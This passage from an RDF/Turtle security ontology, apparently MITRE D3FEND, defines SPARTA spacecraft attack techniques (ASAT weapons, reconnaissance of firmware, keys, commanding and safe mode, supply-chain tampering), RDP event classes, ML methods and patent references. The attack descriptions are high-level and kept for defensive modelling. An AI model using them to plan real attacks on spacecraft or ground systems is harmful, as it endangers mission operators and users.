    rdfs:seeAlso <https://sparta.aerospace.org/technique/RD-0004/02/> ;
    rdfs:subClassOf d3f:RD-0004 ;
    skos:prefLabel "Upload Exploit/Payload" .

d3f:RD-0005.01 a owl:Class ;
    rdfs:label "Launch Services - SPARTA" ;
    d3f:attack-id "RD-0005.01" ;
    d3f:definition "Threat actors may acquire launch capabilities through their own development or through space launch service providers (companies or organizations that specialize in launching payloads into space). Space launch service providers typically offer a range of services, including launch vehicle design, development, and manufacturing as well as payload integration and testing. These services are critical to the success of any space mission and require specialized expertise, advanced technology, and extensive infrastructure." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/RD-0005/01/> ;
    rdfs:subClassOf d3f:RD-0005 ;
    skos:prefLabel "Launch Services" .

d3f:RD-0005.02 a owl:Class ;
    rdfs:label "Non-Kinetic Physical ASAT - SPARTA" ;
    d3f:attack-id "RD-0005.02" ;
    d3f:definition """A non-kinetic physical ASAT attack is when a satellite is physically damaged without any direct contact. Non-kinetic physical attacks can be characterized into a few types: electromagnetic pulses, high-powered lasers, and high-powered microwaves. These attacks have medium possible attribution levels and often provide little evidence of success to the attacker.*

*https://aerospace.csis.org/aerospace101/counterspace-weapons-101""" ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/RD-0005/02/> ;
    rdfs:subClassOf d3f:RD-0005 ;
    skos:prefLabel "Non-Kinetic Physical ASAT" .

d3f:RD-0005.03 a owl:Class ;
    rdfs:label "Kinetic Physical ASAT - SPARTA" ;
    d3f:attack-id "RD-0005.03" ;
    d3f:definition """Kinetic physical ASAT attacks attempt to damage or destroy space- or land-based space assets. They typically are organized into three categories: direct-ascent, co-orbital, and ground station attacks. The nature of these attacks makes them easier to attribute and allow for better confirmation of success on the part of the attacker. *

*https://aerospace.csis.org/aerospace101/counterspace-weapons-101""" ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/RD-0005/03/> ;
    rdfs:subClassOf d3f:RD-0005 ;
    skos:prefLabel "Kinetic Physical ASAT" .

d3f:RD-0005.04 a owl:Class ;
    rdfs:label "Electronic ASAT - SPARTA" ;
    d3f:attack-id "RD-0005.04" ;
    d3f:definition """Rather than attempting to damage the physical components of space systems, electronic ASAT attacks target the means by which space systems transmit and receive data. Both jamming and spoofing are forms of electronic attack that can be difficult to attribute and only have temporary effects.*

*https://aerospace.csis.org/aerospace101/counterspace-weapons-101""" ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/RD-0005/04/> ;
    rdfs:subClassOf d3f:RD-0005 ;
    skos:prefLabel "Electronic ASAT" .

d3f:RDPConnectResponseEvent a owl:Class ;
    rdfs:label "RDP Connect Response Event" ;
    d3f:definition "An event where an RDP server acknowledges a connection request, finalizing session parameters and confirming the transition to an interactive remote session." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:RDPConnectRequestEvent ],
        d3f:RDPEvent .

d3f:RDPInitialResponseEvent a owl:Class ;
    rdfs:label "RDP Initial Response Event" ;
    d3f:definition "An event where an RDP server responds to an initial request from a client, presenting its supported capabilities and agreeing to proceed with session negotiation." ;
    rdfs:subClassOf [ a owl:Restriction ;
            owl:onProperty d3f:preceded-by ;
            owl:someValuesFrom d3f:RDPInitialRequestEvent ],
        d3f:RDPEvent .

d3f:RDPTLSHandshakeEvent a owl:Class ;
    rdfs:label "RDP TLS Handshake Event" ;
    d3f:definition "An event representing the cryptographic exchange of keys and certificates between an RDP client and server to establish a secure communication channel. The handshake ensures encryption, integrity, and authentication for the session." ;
    rdfs:subClassOf d3f:RDPEvent .

d3f:REC-0001.01 a owl:Class ;
    rdfs:label "Software Design - SPARTA" ;
    d3f:attack-id "REC-0001.01" ;
    d3f:definition "Threat actors may gather information about the victim spacecraft's internal software that can be used for future campaigns or to help perpetuate other techniques. Information (e.g. source code, binaries, etc.) about commercial, open-source, or custom developed software may include a variety of details such as types, versions, and memory maps. Leveraging this information threat actors may target vendors of operating systems, flight software, or open-source communities to embed backdoors or for performing reverse engineering research to support offensive cyber operations." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/REC-0001/01/> ;
    rdfs:subClassOf d3f:REC-0001 ;
    skos:prefLabel "Software Design" .

d3f:REC-0001.02 a owl:Class ;
    rdfs:label "Firmware - SPARTA" ;
    d3f:attack-id "REC-0001.02" ;
    d3f:definition "Threat actors may gather information about the victim spacecraft's firmware that can be used for future campaigns or to help perpetuate other techniques. Information about the firmware may include a variety of details such as type and versions on specific devices, which may be used to infer more information (ex. configuration, purpose, age/patch level, etc.). Leveraging this information threat actors may target firmware vendors to embed backdoors or for performing reverse engineering research to support offensive cyber operations." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/REC-0001/02/> ;
    rdfs:subClassOf d3f:REC-0001 ;
    skos:prefLabel "Firmware" .

d3f:REC-0001.03 a owl:Class ;
    rdfs:label "Cryptographic Algorithms - SPARTA" ;
    d3f:attack-id "REC-0001.03" ;
    d3f:definition "Threat actors may gather information about any cryptographic algorithms used on the victim spacecraft's that can be used for future campaigns or to help perpetuate other techniques. Information about the algorithms can include type and private keys. Threat actors may also obtain the authentication scheme (i.e., key/password/counter values) and leverage it to establish communications for commanding the target spacecraft or any of its subsystems. Some spacecraft only require authentication vice authentication and encryption, therefore once obtained, threat actors may use any number of means to command the spacecraft without needing to go through a legitimate channel. The authentication information may be obtained through reconnaissance of the ground system or retrieved from the victim spacecraft." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/REC-0001/03/> ;
    rdfs:subClassOf d3f:REC-0001 ;
    skos:prefLabel "Cryptographic Algorithms" .

d3f:REC-0001.04 a owl:Class ;
    rdfs:label "Data Bus - SPARTA" ;
    d3f:attack-id "REC-0001.04" ;
    d3f:definition """Threat actors may gather information about the data bus used within the victim spacecraft that can be used for future campaigns or to help perpetuate other techniques. Information about the data bus can include the make and model which could lead to more information (ex. protocol, purpose, controller, etc.), as well as locations/addresses of major subsystems residing on the bus.

Threat actors may also gather information about the bus voltages of the victim spacecraft. This information can include optimal power levels, connectors, range, and transfer rate.""" ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/REC-0001/04/> ;
    rdfs:subClassOf d3f:REC-0001 ;
    skos:prefLabel "Data Bus" .

d3f:REC-0001.05 a owl:Class ;
    rdfs:label "Thermal Control System - SPARTA" ;
    d3f:attack-id "REC-0001.05" ;
    d3f:definition "Threat actors may gather information about the thermal control system used with the victim spacecraft that can be used for future campaigns or to help perpetuate other techniques. Information gathered can include type, make/model, and varies analysis programs that monitor it." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/REC-0001/05/> ;
    rdfs:subClassOf d3f:REC-0001 ;
    skos:prefLabel "Thermal Control System" .

d3f:REC-0001.06 a owl:Class ;
    rdfs:label "Maneuver & Control - SPARTA" ;
    d3f:attack-id "REC-0001.06" ;
    d3f:definition "Threat actors may gather information about the station-keeping control systems within the victim spacecraft that can be used for future campaigns or to help perpetuate other techniques. Information gathered can include thruster types, propulsion types, attitude sensors, and data flows associated with the relevant subsystems." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/REC-0001/06/> ;
    rdfs:subClassOf d3f:REC-0001 ;
    skos:prefLabel "Maneuver & Control" .

d3f:REC-0001.07 a owl:Class ;
    rdfs:label "Payload - SPARTA" ;
    d3f:attack-id "REC-0001.07" ;
    d3f:definition "Threat actors may gather information about the type(s) of payloads hosted on the victim spacecraft. This information could include specific commands, make and model, and relevant software. Threat actors may also gather information about the location of the payload on the bus and internal routing as it pertains to commands within the payload itself." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/REC-0001/07/> ;
    rdfs:subClassOf d3f:REC-0001 ;
    skos:prefLabel "Payload" .

d3f:REC-0001.08 a owl:Class ;
    rdfs:label "Power - SPARTA" ;
    d3f:attack-id "REC-0001.08" ;
    d3f:definition "Threat actors may gather information about the power system used within the victim spacecraft. This information can include type, power intake, and internal algorithms. Threat actors may also gather information about the solar panel configurations such as positioning, automated tasks, and layout. Additionally, threat actors may gather information about the batteries used within the victim spacecraft. This information can include the type, quantity, storage capacity, make and model, and location." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/REC-0001/08/> ;
    rdfs:subClassOf d3f:REC-0001 ;
    skos:prefLabel "Power" .

d3f:REC-0001.09 a owl:Class ;
    rdfs:label "Fault Management - SPARTA" ;
    d3f:attack-id "REC-0001.09" ;
    d3f:definition "Threat actors may gather information about any fault management that may be present on the victim spacecraft. This information can help threat actors construct specific attacks that may put the spacecraft into a fault condition and potentially a more vulnerable state depending on the fault response." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/REC-0001/09/> ;
    rdfs:subClassOf d3f:REC-0001 ;
    skos:prefLabel "Fault Management" .

d3f:REC-0002.01 a owl:Class ;
    rdfs:label "Identifiers - SPARTA" ;
    d3f:attack-id "REC-0002.01" ;
    d3f:definition "Threat actors may gather information about the victim spacecraft's identity attributes that can be used for future campaigns or to help perpetuate other techniques. Information may include a variety of details such as the satellite catalog number, international designator, mission name, and more." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/REC-0002/01/> ;
    rdfs:subClassOf d3f:REC-0002 ;
    skos:prefLabel "Identifiers" .

d3f:REC-0002.02 a owl:Class ;
    rdfs:label "Organization - SPARTA" ;
    d3f:attack-id "REC-0002.02" ;
    d3f:definition "Threat actors may gather information about the victim spacecraft's associated organization(s) that can be used for future campaigns or to help perpetuate other techniques. Collection efforts may target the mission owner/operator in order to conduct further attacks against the organization, individual, or other interested parties. Threat actors may also seek information regarding the spacecraft's designer/builder, including physical locations, key employees, and roles and responsibilities as they pertain to the spacecraft, as well as information pertaining to the mission's end users/customers." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/REC-0002/02/> ;
    rdfs:subClassOf d3f:REC-0002 ;
    skos:prefLabel "Organization" .

d3f:REC-0002.03 a owl:Class ;
    rdfs:label "Operations - SPARTA" ;
    d3f:attack-id "REC-0002.03" ;
    d3f:definition "Threat actors may gather information about the victim spacecraft's operations that can be used for future campaigns or to help perpetuate other techniques. Collection efforts may target mission objectives, orbital parameters such as orbit slot and inclination, user guides and schedules, etc. Additionally, threat actors may seek information about constellation deployments and configurations where applicable." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/REC-0002/03/> ;
    rdfs:subClassOf d3f:REC-0002 ;
    skos:prefLabel "Operations" .

d3f:REC-0003.01 a owl:Class ;
    rdfs:label "Communications Equipment - SPARTA" ;
    d3f:attack-id "REC-0003.01" ;
    d3f:definition """Threat actors may gather information regarding the communications equipment and its configuration that will be used for communicating with the victim spacecraft. This includes:

Antenna Shape: This information can help determine the range in which it can communicate, the power of it's transmission, and the receiving patterns.

Antenna Configuration/Location:	This information can include positioning, transmission frequency, wavelength, and timing.

Telemetry Signal Type: Information can include timing, radio frequency wavelengths, and other information that can provide insight into the spacecraft's telemetry system.

Beacon Frequency: This information can provide insight into where the spacecrafts located, what it's orbit is, and how long it can take to communicate with a ground station.

Beacon Polarization: This information can help triangulate the spacecrafts it orbits the earth and determine how a satellite must be oriented in order to communicate with the victim spacecraft.

Transponder: This could include the number of transponders per band, transponder translation factor, transponder mappings, power utilization, and/or saturation point.""" ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/REC-0003/01/> ;
    rdfs:subClassOf d3f:REC-0003 ;
    skos:prefLabel "Communications Equipment" .

d3f:REC-0003.02 a owl:Class ;
    rdfs:label "Commanding Details - SPARTA" ;
    d3f:attack-id "REC-0003.02" ;
    d3f:definition """Threat actors may gather information regarding the commanding approach that will be used for communicating with the victim spacecraft. This includes:

Commanding Signal Type: This can include timing, radio frequency wavelengths, and other information that can provide insight into the spacecraft's commanding system.

Valid Commanding Patterns: Most commonly, this comes in the form of a command database, but can also include other means that provide information on valid commands and the communication protocols used by the victim spacecraft.

Valid Commanding Periods: This information can provide insight into when a command will be accepted by the spacecraft and help the threat actor construct a viable attack campaign.""" ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/REC-0003/02/> ;
    rdfs:subClassOf d3f:REC-0003 ;
    skos:prefLabel "Commanding Details" .

d3f:REC-0003.03 a owl:Class ;
    rdfs:label "Mission-Specific Channel Scanning - SPARTA" ;
    d3f:attack-id "REC-0003.03" ;
    d3f:definition "Threat actors may seek knowledge about mission-specific  communication channels dedicated to a payload. Such channels could be managed by a different organization than the owner of the spacecraft itself." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/REC-0003/03/> ;
    rdfs:subClassOf d3f:REC-0003 ;
    skos:prefLabel "Mission-Specific Channel Scanning" .

d3f:REC-0003.04 a owl:Class ;
    rdfs:label "Valid Credentials - SPARTA" ;
    d3f:attack-id "REC-0003.04" ;
    d3f:definition "Threat actors may seek out valid credentials which can be utilized to facilitate several tactics throughout an attack. Credentials may include, but are not limited to: system service accounts, user accounts, maintenance accounts, cryptographic keys and other authentication mechanisms." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/REC-0003/04/> ;
    rdfs:subClassOf d3f:REC-0003 ;
    skos:prefLabel "Valid Credentials" .

d3f:REC-0004.01 a owl:Class ;
    rdfs:label "Flight Termination - SPARTA" ;
    d3f:attack-id "REC-0004.01" ;
    d3f:definition "Threat actor may obtain information regarding the vehicle's flight termination system. Threat actors may use this information to perform later attacks and target the vehicle's termination system to have desired impact on mission." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/REC-0004/01/> ;
    rdfs:subClassOf d3f:REC-0004 ;
    skos:prefLabel "Flight Termination" .

d3f:REC-0005.01 a owl:Class ;
    rdfs:label "Uplink Intercept Eavesdropping - SPARTA" ;
    d3f:attack-id "REC-0005.01" ;
    d3f:definition "Threat actors may capture the RF communications as it pertains to the uplink to the victim spacecraft. This information can contain commanding information that the threat actor can use to perform other attacks against the victim spacecraft." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/REC-0005/01/> ;
    rdfs:subClassOf d3f:REC-0005 ;
    skos:prefLabel "Uplink Intercept Eavesdropping" .

d3f:REC-0005.02 a owl:Class ;
    rdfs:label "Downlink Intercept - SPARTA" ;
    d3f:attack-id "REC-0005.02" ;
    d3f:definition "Threat actors may capture the RF communications as it pertains to the downlink of the victim spacecraft. This information can contain important telemetry such as onboard status and mission data." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/REC-0005/02/> ;
    rdfs:subClassOf d3f:REC-0005 ;
    skos:prefLabel "Downlink Intercept" .

d3f:REC-0005.03 a owl:Class ;
    rdfs:label "Proximity Operations - SPARTA" ;
    d3f:attack-id "REC-0005.03" ;
    d3f:definition "Threat actors may capture signals and/or network communications as they travel on-board the vehicle (i.e., EMSEC/TEMPEST), via RF, or terrestrial networks. This information can be decoded to determine commanding and telemetry protocols, command times, and other information that could be used for future attacks." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/REC-0005/03/> ;
    rdfs:subClassOf d3f:REC-0005 ;
    skos:prefLabel "Proximity Operations" .

d3f:REC-0005.04 a owl:Class ;
    rdfs:label "Active Scanning (RF/Optical) - SPARTA" ;
    d3f:attack-id "REC-0005.04" ;
    d3f:definition "Threat actors may interfere with the link by actively transmitting packets to activate the transmitter and induce a reply. The scan can be similar to a brute force attack, aiming to guess the used frequencies and protocols to obtain a reply." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/REC-0005/04/> ;
    rdfs:subClassOf d3f:REC-0005 ;
    skos:prefLabel "Active Scanning (RF/Optical)" .

d3f:REC-0006.01 a owl:Class ;
    rdfs:label "Development Environment - SPARTA" ;
    d3f:attack-id "REC-0006.01" ;
    d3f:definition "Threat actors may gather information regarding the development environment for the victim spacecraft's FSW. This information can include IDEs, configurations, source code, environment variables, source code repositories, code \"secrets\", and compiled binaries." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/REC-0006/01/> ;
    rdfs:subClassOf d3f:REC-0006 ;
    skos:prefLabel "Development Environment" .

d3f:REC-0006.02 a owl:Class ;
    rdfs:label "Security Testing Tools - SPARTA" ;
    d3f:attack-id "REC-0006.02" ;
    d3f:definition "Threat actors may gather information regarding how a victim spacecraft is tested in regards to the FSW. Understanding the testing approach including tools could identify gaps and vulnerabilities that could be discovered and exploited by a threat actor." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/REC-0006/02/> ;
    rdfs:subClassOf d3f:REC-0006 ;
    skos:prefLabel "Security Testing Tools" .

d3f:REC-0007 a owl:Class ;
    rdfs:label "Monitor for Safe-Mode Indicators - SPARTA" ;
    d3f:attack-id "REC-0007" ;
    d3f:definition "Threat actors may gather information regarding safe-mode indicators on the victim spacecraft. Safe-mode is when all non-essential systems are shut down and only essential functions within the spacecraft are active. During this mode, several commands are available to be processed that are not normally processed. Further, many protections may be disabled at this time." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/REC-0007/> ;
    rdfs:subClassOf d3f:SPARTAReconnaissanceTechnique ;
    skos:prefLabel "Monitor for Safe-Mode Indicators" .

d3f:REC-0008.01 a owl:Class ;
    rdfs:label "Hardware Recon - SPARTA" ;
    d3f:attack-id "REC-0008.01" ;
    d3f:definition "Threat actors may gather information that can be used to facilitate a future attack where they manipulate hardware components in the victim spacecraft prior to the customer receiving them in order to achieve data or system compromise. The threat actor can insert backdoors and give them a high level of control over the system when they modify the hardware or firmware in the supply chain. This would include ASIC and FPGA devices as well." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/REC-0008/01/> ;
    rdfs:subClassOf d3f:REC-0008 ;
    skos:prefLabel "Hardware Recon" .

d3f:REC-0008.02 a owl:Class ;
    rdfs:label "Software Recon - SPARTA" ;
    d3f:attack-id "REC-0008.02" ;
    d3f:definition "Threat actors may gather information relating to the mission's software supply chain in order to facilitate future attacks to achieve data or system compromise. This attack can take place in a number of ways, including manipulation of source code, manipulation of the update and/or distribution mechanism, or replacing compiled versions with a malicious one." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/REC-0008/02/> ;
    rdfs:subClassOf d3f:REC-0008 ;
    skos:prefLabel "Software Recon" .

d3f:REC-0008.03 a owl:Class ;
    rdfs:label "Known Vulnerabilities - SPARTA" ;
    d3f:attack-id "REC-0008.03" ;
    d3f:definition "Threat actors may gather information about vulnerabilities that can be used for future campaigns or to perpetuate other techniques. A vulnerability is a weakness in the victim spacecraft's hardware, subsystems, bus, or software that can, potentially, be exploited by a threat actor to cause unintended or unanticipated behavior to occur.  During reconnaissance as threat actors identify the types/versions of software (i.e., COTS, open-source) being used, they will look for well-known vulnerabilities that could affect the spacecraft. Threat actors may find vulnerability information by searching leaked documents, vulnerability databases/scanners, compromising ground systems, and searching through online databases." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/REC-0008/03/> ;
    rdfs:subClassOf d3f:REC-0008 ;
    skos:prefLabel "Known Vulnerabilities" .

d3f:REC-0008.04 a owl:Class ;
    rdfs:label "Business Relationships - SPARTA" ;
    d3f:attack-id "REC-0008.04" ;
    d3f:definition "Adversaries may gather information about the victim's business relationships that can be used during targeting. Information about an mission’s business relationships may include a variety of details, including second or third-party organizations/domains (ex: managed service providers, contractors/sub-contractors, etc.) that have connected (and potentially elevated) network access or sensitive information. This information may also reveal supply chains and shipment paths for the victim’s hardware and software resources." ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/REC-0008/04/> ;
    rdfs:subClassOf d3f:REC-0008 ;
    skos:prefLabel "Business Relationships" .

d3f:REC-0009 a owl:Class ;
    rdfs:label "Gather Mission Information - SPARTA" ;
    d3f:attack-id "REC-0009" ;
    d3f:definition """Threat actors may initially seek to gain an understanding of a target mission by gathering information commonly captured in a Concept of Operations (or similar) document and related artifacts. Information of interest includes, but is not limited to:
	- the needs, goals, and objectives of the system
	- system overview and key elements/instruments
	- modes of operations (including operational constraints)
	- proposed capabilities and the underlying science/technology used to provide capabilities (i.e., scientific papers, research studies, etc.)
	- physical and support environments""" ;
    rdfs:seeAlso <https://sparta.aerospace.org/technique/REC-0009/> ;
    rdfs:subClassOf d3f:SPARTAReconnaissanceTechnique ;
    skos:prefLabel "Gather Mission Information" .

d3f:ROM a owl:Class ;
    rdfs:label "ROM" ;
    d3f:definition "Read-only memory (ROM) is a type of non-volatile memory used in computers and other electronic devices. Data stored in ROM cannot be electronically modified after the manufacture of the memory device. Read-only memory is useful for storing software that is rarely changed during the life of the system, also known as firmware." ;
    d3f:synonym "Read-only Memory" ;
    rdfs:isDefinedBy <https://dbpedia.org/page/Read-only_memory> ;
    rdfs:subClassOf d3f:PrimaryStorage .

d3f:RTSPServer a owl:Class ;
    rdfs:label "RTSP Server" ;
    d3f:definition "A streaming server that utilizes the real-time streaming protocol." ;
    rdfs:subClassOf d3f:NetworkAudioVisualStreamingResource .

d3f:RadioModem a owl:Class ;
    rdfs:label "Radio Modem" ;
    d3f:definition "A radio modem provides the means to send digital data wirelessly.  Radio modems are used to communicate by direct broadcast satellite, WiFi, WiMax, mobile phones, GPS, Bluetooth and NFC. Modern telecommunications and data networks also make extensive use of radio modems where long distance data links are required. Such systems are an important part of the PSTN, and are also in common use for high-speed computer network links to outlying areas where fiber optic is not economical." ;
    rdfs:isDefinedBy <http://dbpedia.org/resource/Modem#Radio> ;
    rdfs:subClassOf d3f:Modem .

d3f:RandomForest a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Random Forest" ;
    d3f:d3fend-id "D3A-RF" ;
    d3f:definition "Random Forest is a ML method that combines several other ML methods. At its core, Random Forest is an ensemble method of multiple bootstrapped decision trees filled with training data and random feature selection." ;
    d3f:kb-article """## References
Random forest. Wikipedia.  [Link](https://en.wikipedia.org/wiki/Random_forest).""" ;
    rdfs:subClassOf d3f:BootstrapAggregating .

d3f:RandomSplits a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Random Splits" ;
    d3f:d3fend-id "D3A-RS" ;
    d3f:definition "The dataset is repeatedly sampled with a random split of the data into train and test sets." ;
    d3f:kb-article """## References
How to Create a Random Split Cross-Validation and Bagging Ensemble for Deep Learning in Keras."*Machine Learning Mastery*.  [Link](https://machinelearningmastery.com/how-to-create-a-random-split-cross-validation-and-bagging-ensemble-for-deep-learning-in-keras/).""" ;
    rdfs:subClassOf d3f:ResamplingEnsemble .

d3f:RangeMatching a owl:Class,
        owl:NamedIndividual ;
    rdfs:label "Range Matching" ;
    d3f:d3fend-id "D3A-RM" ;
    d3f:definition "Numeric Range Matching determines if a value lies with an interval of values (i.e., within the range of values.)" ;
    rdfs:subClassOf d3f:NumericPatternMatching .

d3f:Reference-ApparatusForToProvideContentToAndQueryAReverseDomainNameSystemServer a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Apparatus for to provide content to and query a reverse domain name system server - Barrracuda Networks" ;
    d3f:has-link "https://patents.google.com/patent/US20100174829A1/en?oq=20100174829"^^xsd:anyURI ;
    d3f:kb-abstract "An apparatus is disclosed for to provide content to and query a reverse domain name system (DNS) server without depending on the kindness of domain name system registrars, registrants. DNS replies are observed by firewalls or filters, analyzed, and transmitted to a reverse domain name system server. An embodiment of the present invention can be within a DNS server or SMTP server." ;
    d3f:kb-author "Dean Danko" ;
    d3f:kb-mitre-analysis "This patent includes the description of a method of blocking email traffic from untrusted domains by analyzing the TCP/IP source IP addresses and blocking traffic for IPs whose reverse lookup response FQDN matches a denylist." ;
    d3f:kb-reference-title "Apparatus for to provide content to and query a reverse domain name system server" .

d3f:Reference-BiometricChallenge-ResponseAuthentication-Accenture a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Biometric Challenge-Response Authentication - Accenture" ;
    d3f:has-link "https://www.patentguru.com/US2021110015A1"^^xsd:anyURI ;
    d3f:kb-abstract """Secret biometric responses to authentication challenges for MFA.

Methods, systems, and apparatus, including computer programs encoded on computer storage media, for authenticating users based on a sequence of biometric authentication challenges. In one aspect, a process includes receiving a first image of the face of the user and processing the first image according to a first authentication process to determine whether the face of the user shown in the first image matches the face of an authorized user. A second authentication process including a sequence of biometric authentication challenges is identified. The sequence includes at least one facial expression challenge. The user is authenticated in response to determining that the first authentication process is satisfied based on the face of the user shown in the first image matching the face of the authorized user and the second authentication process is satisfied based on the user providing a valid biometric response to each biometric authentication challenge.""" ;
    d3f:kb-author "Ben McCarty, Ellie Daw" ;
    d3f:kb-mitre-analysis "MITRE Analysis was not found." ;
    d3f:kb-organization "Accenture" ;
    d3f:kb-reference-of d3f:Multi-factorAuthentication ;
    d3f:kb-reference-title "Biometric Challenge-Response Authentication" .

d3f:Reference-CAR-2020-11-010%3ACMSTP_MITRE a d3f:ExternalKnowledgeBase,
        owl:NamedIndividual ;
    rdfs:label "Reference - CAR-2020-11-010: CMSTP - MITRE" ;
    d3f:has-link "https://car.mitre.org/analytics/CAR-2020-11-010/"^^xsd:anyURI ;
    d3f:kb-abstract "CMSTP.exe is the Microsoft Connection Manager Profile Installer, which can be leveraged to setup listeners that will receive and install malware from remote sources in trusted fashion. When CMSTP.exe is seen in combination with an external connection, it is a good indication of this TTP." ;
    d3f:kb-author "MITRE" ;
    d3f:kb-organization "MITRE" ;
    d3f:kb-reference-of d3f:ProcessSpawnAnalysis ;
    d3f:kb-reference-title "CAR-2020-11-010: CMSTP" .

d3f:Reference-ControlLogix5570and5560Controllers a d3f:UserManualReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - ControlLogix 5570 and 5560 Controllers" ;
    d3f:has-link "https://literature.rockwellautomation.com/idc/groups/literature/documents/um/1756-um001_-en-p.pdf"^^xsd:anyURI ;
    d3f:kb-abstract "There are five types of ControlLogix controllers available. These types include the following: Standard ControlLogix controllers, Extreme environment ControlLogix controllers, Armor™ ControlLogix controllers, Standard GuardLogix® controllers, Armor GuardLogix controllers. This manual explains how to use standard, extreme environment, and Armor ControlLogix controllers." ;
    d3f:kb-organization "Rockwell Automation" ;
    d3f:kb-reference-of d3f:DisableRemoteAccess ;
    d3f:kb-reference-title "ControlLogix 5570 and 5560 Controllers" .

d3f:Reference-EmbeddingContextsForOn-lineThreatsIntoResponsePolicyZones-VerisignInc a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Embedding contexts for on-line threats into response policy zones - Verisign Inc" ;
    d3f:has-link "https://patents.google.com/patent/US10440059B1"^^xsd:anyURI ;
    d3f:kb-abstract """Hierarchical threat intelligence embedded in subdomain CNAMEs of a DNS denylist.

In one embodiment, a response policy zone (RPZ) application generates an RPZ that includes contexts for the on-line threats that are associated with domain names. For a domain name that is associated with an on-line threat, the RPZ application determines a threat specification that describes a characteristic of the on-line threat. The RPZ application then generates an alias based on the domain name and the threat specification. Subsequently, the RPZ application generates a domain name system (DNS) resource record that maps the domain name to the alias, includes the resource record in the RPZ, and transmits the RPZ to a DNS name server that implements the RPZ. Upon receiving a DNS query associated with the domain name, the DNS name server generates a DNS response based on the alias. Because the domain name and the threat specification is reflected in the alias, the DNS response automatically provides a relevant context.""" ;
    d3f:kb-author "Ben McCarty" ;
    d3f:kb-mitre-analysis "MITRE Analysis was not found." ;
    d3f:kb-reference-of d3f:HierarchicalDomainDenylisting ;
    d3f:kb-reference-title "Embedding contexts for on-line threats into response policy zones" .

d3f:Reference-FWTKDocumentation-Fwtk.org a d3f:TechniqueReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - FWTK Documentation - fwtk.org" ;
    d3f:has-link "https://web.archive.org/web/20070510153306/http://www.fwtk.org/fwtk/docs/documentation.html#1.1"^^xsd:anyURI ;
    d3f:kb-abstract """In case you don't already know, FWTK stands for the FireW all Tool Kit. It is used as a base to create a secure firewall system. If you need good documentation, please read the source code. If you are not familiar with C or do not feel comfortable with performing the configuration and security verification yourself, then I would suggest that you purchase a commercial firewall from a vendor (such as TIS, Checkpoint, Raptor, etc.).

A machine needs other tools to secure it, including, but hardly limited to, tools to check files (tripwire), audit tools (tiger/cops), secure access methods (kerberos/ssh), something to watch logs and machine states (swatch/watcher some to mind) and filtering and routing tools such as screend/ipfilterd/ipacl.

Again, I would recommend that you do not proceed to build a production FWTK firewall unless you are familiar with UNIX security.""" ;
    d3f:kb-author "fwtk.org" ;
    d3f:kb-organization "fwtk.org" ;
    d3f:kb-reference-of d3f:InboundTrafficFiltering ;
    d3f:kb-reference-title "FWTK Documentation" .

d3f:Reference-IdentificationOfVisualInternationalDomainNameCollisions-VerisignInc a d3f:PatentReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Identification of visual international domain name collisions - Verisign Inc" ;
    d3f:has-link "https://patents.google.com/patent/US10599836B2/en"^^xsd:anyURI ;
    d3f:kb-abstract """Fuzzy OCR to detect domain name homoglyph attacks.

Various embodiments of the invention disclosed herein provide techniques for detecting a homograph attack. An IDN collision detection server retrieves a first domain name that includes a punycode element. The IDN collision detection server converts the first domain into a second domain name that includes a Unicode character corresponding to the punycode element. The IDN collision detection server converts the second domain name into an image. The IDN collision detection server performs one or more optical character recognition operations on the image to generate a textual string associated with the image. The IDN collision detection server determines that the textual string matches at least a portion of a third domain name.""" ;
    d3f:kb-author "Ben McCarty, Preston Zeh" ;
    d3f:kb-mitre-analysis "MITRE Analysis was not found." ;
    d3f:kb-organization "Verisign Inc" ;
    d3f:kb-reference-of d3f:HomoglyphDetection ;
    d3f:kb-reference-title "Identification of visual international domain name collisions" .

d3f:Reference-IntroducingFirefoxNewSiteIsolationArchitecture a d3f:InternetArticleReference,
        owl:NamedIndividual ;
    rdfs:label "Reference - Introducing Firefox's new Site Isolation Architecture" ;
    d3f:has-link "https://hacks.mozilla.org/2021/05/introducing-firefox-new-site-isolation-security-architecture/"^^xsd:anyURI ;
    d3f:kb-abstract "" ;
    d3f:kb-author "Anny Gakhokidze" ;
    d3f:kb-mitre-analysis "" ;
    d3f:kb-organization "Mozilla Foundation" ;
